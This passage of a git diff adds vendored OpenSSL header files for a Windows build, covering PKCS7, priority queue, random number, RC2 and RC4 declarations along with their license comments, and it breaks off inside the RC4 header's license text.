+DECLARE_ASN1_FUNCTIONS(PKCS7_DIGEST) +DECLARE_ASN1_FUNCTIONS(PKCS7_ENCRYPT) +DECLARE_ASN1_FUNCTIONS(PKCS7) + +DECLARE_ASN1_ITEM(PKCS7_ATTR_SIGN) +DECLARE_ASN1_ITEM(PKCS7_ATTR_VERIFY) + +DECLARE_ASN1_NDEF_FUNCTION(PKCS7) + +long PKCS7_ctrl(PKCS7 *p7, int cmd, long larg, char *parg); + +int PKCS7_set_type(PKCS7 *p7, int type); +int PKCS7_set0_type_other(PKCS7 *p7, int type, ASN1_TYPE *other); +int PKCS7_set_content(PKCS7 *p7, PKCS7 *p7_data); +int PKCS7_SIGNER_INFO_set(PKCS7_SIGNER_INFO *p7i, X509 *x509, EVP_PKEY *pkey, + const EVP_MD *dgst); +int PKCS7_add_signer(PKCS7 *p7, PKCS7_SIGNER_INFO *p7i); +int PKCS7_add_certificate(PKCS7 *p7, X509 *x509); +int PKCS7_add_crl(PKCS7 *p7, X509_CRL *x509); +int PKCS7_content_new(PKCS7 *p7, int nid); +int PKCS7_dataVerify(X509_STORE *cert_store, X509_STORE_CTX *ctx, + BIO *bio, PKCS7 *p7, PKCS7_SIGNER_INFO *si); +int PKCS7_signatureVerify(BIO *bio, PKCS7 *p7, PKCS7_SIGNER_INFO *si, + X509 *x509); + +BIO *PKCS7_dataInit(PKCS7 *p7, BIO *bio); +int PKCS7_dataFinal(PKCS7 *p7, BIO *bio); +BIO *PKCS7_dataDecode(PKCS7 *p7, EVP_PKEY *pkey, BIO *in_bio, X509 *pcert); + + +PKCS7_SIGNER_INFO *PKCS7_add_signature(PKCS7 *p7, X509 *x509, + EVP_PKEY *pkey, const EVP_MD *dgst); +X509 *PKCS7_cert_from_signer_info(PKCS7 *p7, PKCS7_SIGNER_INFO *si); +int PKCS7_set_digest(PKCS7 *p7, const EVP_MD *md); +STACK_OF(PKCS7_SIGNER_INFO) *PKCS7_get_signer_info(PKCS7 *p7); + +PKCS7_RECIP_INFO *PKCS7_add_recipient(PKCS7 *p7, X509 *x509); +int PKCS7_add_recipient_info(PKCS7 *p7, PKCS7_RECIP_INFO *ri); +int PKCS7_RECIP_INFO_set(PKCS7_RECIP_INFO *p7i, X509 *x509); +int PKCS7_set_cipher(PKCS7 *p7, const EVP_CIPHER *cipher); + +PKCS7_ISSUER_AND_SERIAL *PKCS7_get_issuer_and_serial(PKCS7 *p7, int idx); +ASN1_OCTET_STRING *PKCS7_digest_from_attributes(STACK_OF(X509_ATTRIBUTE) *sk); +int PKCS7_add_signed_attribute(PKCS7_SIGNER_INFO *p7si,int nid,int type, + void *data); +int PKCS7_add_attribute (PKCS7_SIGNER_INFO *p7si, int nid, int atrtype, + void *value); +ASN1_TYPE *PKCS7_get_attribute(PKCS7_SIGNER_INFO *si, int nid); +ASN1_TYPE *PKCS7_get_signed_attribute(PKCS7_SIGNER_INFO *si, int nid); +int PKCS7_set_signed_attributes(PKCS7_SIGNER_INFO *p7si, + STACK_OF(X509_ATTRIBUTE) *sk); +int PKCS7_set_attributes(PKCS7_SIGNER_INFO *p7si,STACK_OF(X509_ATTRIBUTE) *sk); + + +PKCS7 *PKCS7_sign(X509 *signcert, EVP_PKEY *pkey, STACK_OF(X509) *certs, + BIO *data, int flags); +int PKCS7_verify(PKCS7 *p7, STACK_OF(X509) *certs, X509_STORE *store, + BIO *indata, BIO *out, int flags); +STACK_OF(X509) *PKCS7_get0_signers(PKCS7 *p7, STACK_OF(X509) *certs, int flags); +PKCS7 *PKCS7_encrypt(STACK_OF(X509) *certs, BIO *in, const EVP_CIPHER *cipher, + int flags); +int PKCS7_decrypt(PKCS7 *p7, EVP_PKEY *pkey, X509 *cert, BIO *data, int flags); + +int PKCS7_add_attrib_smimecap(PKCS7_SIGNER_INFO *si, + STACK_OF(X509_ALGOR) *cap); +STACK_OF(X509_ALGOR) *PKCS7_get_smimecap(PKCS7_SIGNER_INFO *si); +int PKCS7_simple_smimecap(STACK_OF(X509_ALGOR) *sk, int nid, int arg); + +int SMIME_write_PKCS7(BIO *bio, PKCS7 *p7, BIO *data, int flags); +PKCS7 *SMIME_read_PKCS7(BIO *bio, BIO **bcont); +int SMIME_crlf_copy(BIO *in, BIO *out, int flags); +int SMIME_text(BIO *in, BIO *out); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_PKCS7_strings(void); + +/* Error codes for the PKCS7 functions. */ + +/* Function codes. */ +#define PKCS7_F_B64_READ_PKCS7 120 +#define PKCS7_F_B64_WRITE_PKCS7 121 +#define PKCS7_F_PKCS7_ADD_ATTRIB_SMIMECAP 118 +#define PKCS7_F_PKCS7_ADD_CERTIFICATE 100 +#define PKCS7_F_PKCS7_ADD_CRL 101 +#define PKCS7_F_PKCS7_ADD_RECIPIENT_INFO 102 +#define PKCS7_F_PKCS7_ADD_SIGNER 103 +#define PKCS7_F_PKCS7_BIO_ADD_DIGEST 125 +#define PKCS7_F_PKCS7_CTRL 104 +#define PKCS7_F_PKCS7_DATADECODE 112 +#define PKCS7_F_PKCS7_DATAFINAL 128 +#define PKCS7_F_PKCS7_DATAINIT 105 +#define PKCS7_F_PKCS7_DATASIGN 106 +#define PKCS7_F_PKCS7_DATAVERIFY 107 +#define PKCS7_F_PKCS7_DECRYPT 114 +#define PKCS7_F_PKCS7_ENCRYPT 115 +#define PKCS7_F_PKCS7_FIND_DIGEST 127 +#define PKCS7_F_PKCS7_GET0_SIGNERS 124 +#define PKCS7_F_PKCS7_SET_CIPHER 108 +#define PKCS7_F_PKCS7_SET_CONTENT 109 +#define PKCS7_F_PKCS7_SET_DIGEST 126 +#define PKCS7_F_PKCS7_SET_TYPE 110 +#define PKCS7_F_PKCS7_SIGN 116 +#define PKCS7_F_PKCS7_SIGNATUREVERIFY 113 +#define PKCS7_F_PKCS7_SIMPLE_SMIMECAP 119 +#define PKCS7_F_PKCS7_VERIFY 117 +#define PKCS7_F_SMIME_READ_PKCS7 122 +#define PKCS7_F_SMIME_TEXT 123 + +/* Reason codes. */ +#define PKCS7_R_CERTIFICATE_VERIFY_ERROR 117 +#define PKCS7_R_CIPHER_HAS_NO_OBJECT_IDENTIFIER 144 +#define PKCS7_R_CIPHER_NOT_INITIALIZED 116 +#define PKCS7_R_CONTENT_AND_DATA_PRESENT 118 +#define PKCS7_R_DECODE_ERROR 130 +#define PKCS7_R_DECRYPTED_KEY_IS_WRONG_LENGTH 100 +#define PKCS7_R_DECRYPT_ERROR 119 +#define PKCS7_R_DIGEST_FAILURE 101 +#define PKCS7_R_ERROR_ADDING_RECIPIENT 120 +#define PKCS7_R_ERROR_SETTING_CIPHER 121 +#define PKCS7_R_INVALID_MIME_TYPE 131 +#define PKCS7_R_INVALID_NULL_POINTER 143 +#define PKCS7_R_MIME_NO_CONTENT_TYPE 132 +#define PKCS7_R_MIME_PARSE_ERROR 133 +#define PKCS7_R_MIME_SIG_PARSE_ERROR 134 +#define PKCS7_R_MISSING_CERIPEND_INFO 103 +#define PKCS7_R_NO_CONTENT 122 +#define PKCS7_R_NO_CONTENT_TYPE 135 +#define PKCS7_R_NO_MULTIPART_BODY_FAILURE 136 +#define PKCS7_R_NO_MULTIPART_BOUNDARY 137 +#define PKCS7_R_NO_RECIPIENT_MATCHES_CERTIFICATE 115 +#define PKCS7_R_NO_RECIPIENT_MATCHES_KEY 146 +#define PKCS7_R_NO_SIGNATURES_ON_DATA 123 +#define PKCS7_R_NO_SIGNERS 142 +#define PKCS7_R_NO_SIG_CONTENT_TYPE 138 +#define PKCS7_R_OPERATION_NOT_SUPPORTED_ON_THIS_TYPE 104 +#define PKCS7_R_PKCS7_ADD_SIGNATURE_ERROR 124 +#define PKCS7_R_PKCS7_DATAFINAL 126 +#define PKCS7_R_PKCS7_DATAFINAL_ERROR 125 +#define PKCS7_R_PKCS7_DATASIGN 145 +#define PKCS7_R_PKCS7_PARSE_ERROR 139 +#define PKCS7_R_PKCS7_SIG_PARSE_ERROR 140 +#define PKCS7_R_PRIVATE_KEY_DOES_NOT_MATCH_CERTIFICATE 127 +#define PKCS7_R_SIGNATURE_FAILURE 105 +#define PKCS7_R_SIGNER_CERTIFICATE_NOT_FOUND 128 +#define PKCS7_R_SIG_INVALID_MIME_TYPE 141 +#define PKCS7_R_SMIME_TEXT_ERROR 129 +#define PKCS7_R_UNABLE_TO_FIND_CERTIFICATE 106 +#define PKCS7_R_UNABLE_TO_FIND_MEM_BIO 107 +#define PKCS7_R_UNABLE_TO_FIND_MESSAGE_DIGEST 108 +#define PKCS7_R_UNKNOWN_DIGEST_TYPE 109 +#define PKCS7_R_UNKNOWN_OPERATION 110 +#define PKCS7_R_UNSUPPORTED_CIPHER_TYPE 111 +#define PKCS7_R_UNSUPPORTED_CONTENT_TYPE 112 +#define PKCS7_R_WRONG_CONTENT_TYPE 113 +#define PKCS7_R_WRONG_PKCS7_TYPE 114 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/pq_compat.h b/winstuff/openssl/pq_compat.h new file mode 100644 index 0000000..7b2c327 --- /dev/null +++ b/winstuff/openssl/pq_compat.h @@ -0,0 +1,152 @@ +/* crypto/pqueue/pqueue_compat.h */ +/* + * DTLS implementation written by Nagendra Modadugu + * (nagendra@cs.stanford.edu) for the OpenSSL project 2005. + */ +/* ==================================================================== + * Copyright (c) 1999-2005 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_PQ_COMPAT_H +#define HEADER_PQ_COMPAT_H + +#include +#include + +/* + * The purpose of this header file is for supporting 64-bit integer + * manipulation on 32-bit (and lower) machines. Currently the only + * such environment is VMS, Utrix and those with smaller default integer + * sizes than 32 bits. For all such environment, we fall back to using + * BIGNUM. We may need to fine tune the conditions for systems that + * are incorrectly configured. + * + * The only clients of this code are (1) pqueue for priority, and + * (2) DTLS, for sequence number manipulation. + */ + +#if (defined(THIRTY_TWO_BIT) && !defined(BN_LLONG)) || defined(SIXTEEN_BIT) || defined(EIGHT_BIT) + +#define PQ_64BIT_IS_INTEGER 0 +#define PQ_64BIT_IS_BIGNUM 1 + +#define PQ_64BIT BIGNUM +#define PQ_64BIT_CTX BN_CTX + +#define pq_64bit_init(x) BN_init(x) +#define pq_64bit_free(x) BN_free(x) + +#define pq_64bit_ctx_new(ctx) BN_CTX_new() +#define pq_64bit_ctx_free(x) BN_CTX_free(x) + +#define pq_64bit_assign(x, y) BN_copy(x, y) +#define pq_64bit_assign_word(x, y) BN_set_word(x, y) +#define pq_64bit_gt(x, y) BN_ucmp(x, y) >= 1 ? 1 : 0 +#define pq_64bit_eq(x, y) BN_ucmp(x, y) == 0 ? 1 : 0 +#define pq_64bit_add_word(x, w) BN_add_word(x, w) +#define pq_64bit_sub(r, x, y) BN_sub(r, x, y) +#define pq_64bit_sub_word(x, w) BN_sub_word(x, w) +#define pq_64bit_mod(r, x, n, ctx) BN_mod(r, x, n, ctx) + +#define pq_64bit_bin2num(bn, bytes, len) BN_bin2bn(bytes, len, bn) +#define pq_64bit_num2bin(bn, bytes) BN_bn2bin(bn, bytes) +#define pq_64bit_get_word(x) BN_get_word(x) +#define pq_64bit_is_bit_set(x, offset) BN_is_bit_set(x, offset) +#define pq_64bit_lshift(r, x, shift) BN_lshift(r, x, shift) +#define pq_64bit_set_bit(x, num) BN_set_bit(x, num) +#define pq_64bit_get_length(x) BN_num_bits((x)) + +#else + +#define PQ_64BIT_IS_INTEGER 1 +#define PQ_64BIT_IS_BIGNUM 0 + +#if defined(SIXTY_FOUR_BIT) +#define PQ_64BIT BN_ULONG +#define PQ_64BIT_PRINT "%lld" +#elif defined(SIXTY_FOUR_BIT_LONG) +#define PQ_64BIT BN_ULONG +#define PQ_64BIT_PRINT "%ld" +#elif defined(THIRTY_TWO_BIT) +#define PQ_64BIT BN_ULLONG +#define PQ_64BIT_PRINT "%lld" +#endif + +#define PQ_64BIT_CTX void + +#define pq_64bit_init(x) +#define pq_64bit_free(x) +#define pq_64bit_ctx_new(ctx) (ctx) +#define pq_64bit_ctx_free(x) + +#define pq_64bit_assign(x, y) (*(x) = *(y)) +#define pq_64bit_assign_word(x, y) (*(x) = y) +#define pq_64bit_gt(x, y) (*(x) > *(y)) +#define pq_64bit_eq(x, y) (*(x) == *(y)) +#define pq_64bit_add_word(x, w) (*(x) = (*(x) + (w))) +#define pq_64bit_sub(r, x, y) (*(r) = (*(x) - *(y))) +#define pq_64bit_sub_word(x, w) (*(x) = (*(x) - (w))) +#define pq_64bit_mod(r, x, n, ctx) + +#define pq_64bit_bin2num(num, bytes, len) bytes_to_long_long(bytes, num) +#define pq_64bit_num2bin(num, bytes) long_long_to_bytes(num, bytes) +#define pq_64bit_get_word(x) *(x) +#define pq_64bit_lshift(r, x, shift) (*(r) = (*(x) << (shift))) +#define pq_64bit_set_bit(x, num) do { \ + PQ_64BIT mask = 1; \ + mask = mask << (num); \ + *(x) |= mask; \ + } while(0) +#endif /* OPENSSL_SYS_VMS */ + +#endif diff --git a/winstuff/openssl/pqueue.h b/winstuff/openssl/pqueue.h new file mode 100644 index 0000000..16c4072 --- /dev/null +++ b/winstuff/openssl/pqueue.h @@ -0,0 +1,96 @@ +/* crypto/pqueue/pqueue.h */ +/* + * DTLS implementation written by Nagendra Modadugu + * (nagendra@cs.stanford.edu) for the OpenSSL project 2005. + */ +/* ==================================================================== + * Copyright (c) 1999-2005 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_PQUEUE_H +#define HEADER_PQUEUE_H + +#include +#include +#include + +#include + +typedef struct _pqueue *pqueue; + +typedef struct _pitem + { + PQ_64BIT priority; + void *data; + struct _pitem *next; + } pitem; + +typedef struct _pitem *piterator; + +pitem *pitem_new(PQ_64BIT priority, void *data); +void pitem_free(pitem *item); + +pqueue pqueue_new(void); +void pqueue_free(pqueue pq); + +pitem *pqueue_insert(pqueue pq, pitem *item); +pitem *pqueue_peek(pqueue pq); +pitem *pqueue_pop(pqueue pq); +pitem *pqueue_find(pqueue pq, PQ_64BIT priority); +pitem *pqueue_iterator(pqueue pq); +pitem *pqueue_next(piterator *iter); + +void pqueue_print(pqueue pq); +int pqueue_size(pqueue pq); + +#endif /* ! HEADER_PQUEUE_H */ diff --git a/winstuff/openssl/rand.h b/winstuff/openssl/rand.h new file mode 100644 index 0000000..ea89153 --- /dev/null +++ b/winstuff/openssl/rand.h @@ -0,0 +1,167 @@ +/* crypto/rand/rand.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_RAND_H +#define HEADER_RAND_H + +#include +#include +#include + +#if defined(OPENSSL_SYS_WINDOWS) +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(OPENSSL_FIPS) +#define FIPS_RAND_SIZE_T int +#endif + +/* Already defined in ossl_typ.h */ +/* typedef struct rand_meth_st RAND_METHOD; */ + +struct rand_meth_st + { + void (*seed)(const void *buf, int num); + int (*bytes)(unsigned char *buf, int num); + void (*cleanup)(void); + void (*add)(const void *buf, int num, double entropy); + int (*pseudorand)(unsigned char *buf, int num); + int (*status)(void); + }; + +#ifdef BN_DEBUG +extern int rand_predictable; +#endif + +int RAND_set_rand_method(const RAND_METHOD *meth); +const RAND_METHOD *RAND_get_rand_method(void); +#ifndef OPENSSL_NO_ENGINE +int RAND_set_rand_engine(ENGINE *engine); +#endif +RAND_METHOD *RAND_SSLeay(void); +void RAND_cleanup(void ); +int RAND_bytes(unsigned char *buf,int num); +int RAND_pseudo_bytes(unsigned char *buf,int num); +void RAND_seed(const void *buf,int num); +void RAND_add(const void *buf,int num,double entropy); +int RAND_load_file(const char *file,long max_bytes); +int RAND_write_file(const char *file); +const char *RAND_file_name(char *file,size_t num); +int RAND_status(void); +int RAND_query_egd_bytes(const char *path, unsigned char *buf, int bytes); +int RAND_egd(const char *path); +int RAND_egd_bytes(const char *path,int bytes); +int RAND_poll(void); +#ifndef OPENSSL_NO_ENGINE +#ifdef OPENSSL_FIPS +void int_RAND_init_engine_callbacks(void); +void int_RAND_set_callbacks( + int (*set_rand_func)(const RAND_METHOD *meth, + const RAND_METHOD **pmeth), + const RAND_METHOD *(*get_rand_func)(const RAND_METHOD **pmeth)); +#endif +#endif + +#if defined(OPENSSL_SYS_WINDOWS) || defined(OPENSSL_SYS_WIN32) + +void RAND_screen(void); +int RAND_event(UINT, WPARAM, LPARAM); + +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_RAND_strings(void); + +/* Error codes for the RAND functions. */ + +/* Function codes. */ +#define RAND_F_ENG_RAND_GET_RAND_METHOD 108 +#define RAND_F_FIPS_RAND 103 +#define RAND_F_FIPS_RAND_BYTES 102 +#define RAND_F_FIPS_RAND_GET_RAND_METHOD 109 +#define RAND_F_FIPS_RAND_SET_DT 106 +#define RAND_F_FIPS_SET_DT 104 +#define RAND_F_FIPS_SET_PRNG_SEED 107 +#define RAND_F_FIPS_SET_TEST_MODE 105 +#define RAND_F_RAND_GET_RAND_METHOD 101 +#define RAND_F_SSLEAY_RAND_BYTES 100 + +/* Reason codes. */ +#define RAND_R_NON_FIPS_METHOD 105 +#define RAND_R_NOT_IN_TEST_MODE 106 +#define RAND_R_NO_KEY_SET 107 +#define RAND_R_PRNG_ASKING_FOR_TOO_MUCH 101 +#define RAND_R_PRNG_ERROR 108 +#define RAND_R_PRNG_KEYED 109 +#define RAND_R_PRNG_NOT_REKEYED 102 +#define RAND_R_PRNG_NOT_RESEEDED 103 +#define RAND_R_PRNG_NOT_SEEDED 100 +#define RAND_R_PRNG_SEED_MUST_NOT_MATCH_KEY 110 +#define RAND_R_PRNG_STUCK 104 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/rc2.h b/winstuff/openssl/rc2.h new file mode 100644 index 0000000..e542ec9 --- /dev/null +++ b/winstuff/openssl/rc2.h @@ -0,0 +1,103 @@ +/* crypto/rc2/rc2.h */ +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_RC2_H +#define HEADER_RC2_H + +#include /* OPENSSL_NO_RC2, RC2_INT */ +#ifdef OPENSSL_NO_RC2 +#error RC2 is disabled. +#endif + +#define RC2_ENCRYPT 1 +#define RC2_DECRYPT 0 + +#define RC2_BLOCK 8 +#define RC2_KEY_LENGTH 16 + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct rc2_key_st + { + RC2_INT data[64]; + } RC2_KEY; + +#ifdef OPENSSL_FIPS +void private_RC2_set_key(RC2_KEY *key, int len, const unsigned char *data,int bits); +#endif +void RC2_set_key(RC2_KEY *key, int len, const unsigned char *data,int bits); +void RC2_ecb_encrypt(const unsigned char *in,unsigned char *out,RC2_KEY *key, + int enc); +void RC2_encrypt(unsigned long *data,RC2_KEY *key); +void RC2_decrypt(unsigned long *data,RC2_KEY *key); +void RC2_cbc_encrypt(const unsigned char *in, unsigned char *out, long length, + RC2_KEY *ks, unsigned char *iv, int enc); +void RC2_cfb64_encrypt(const unsigned char *in, unsigned char *out, + long length, RC2_KEY *schedule, unsigned char *ivec, + int *num, int enc); +void RC2_ofb64_encrypt(const unsigned char *in, unsigned char *out, + long length, RC2_KEY *schedule, unsigned char *ivec, + int *num); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/rc4.h b/winstuff/openssl/rc4.h new file mode 100644 index 0000000..2d8620d --- /dev/null +++ b/winstuff/openssl/rc4.h @@ -0,0 +1,90 @@ +/* crypto/rc4/rc4.h */ +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions 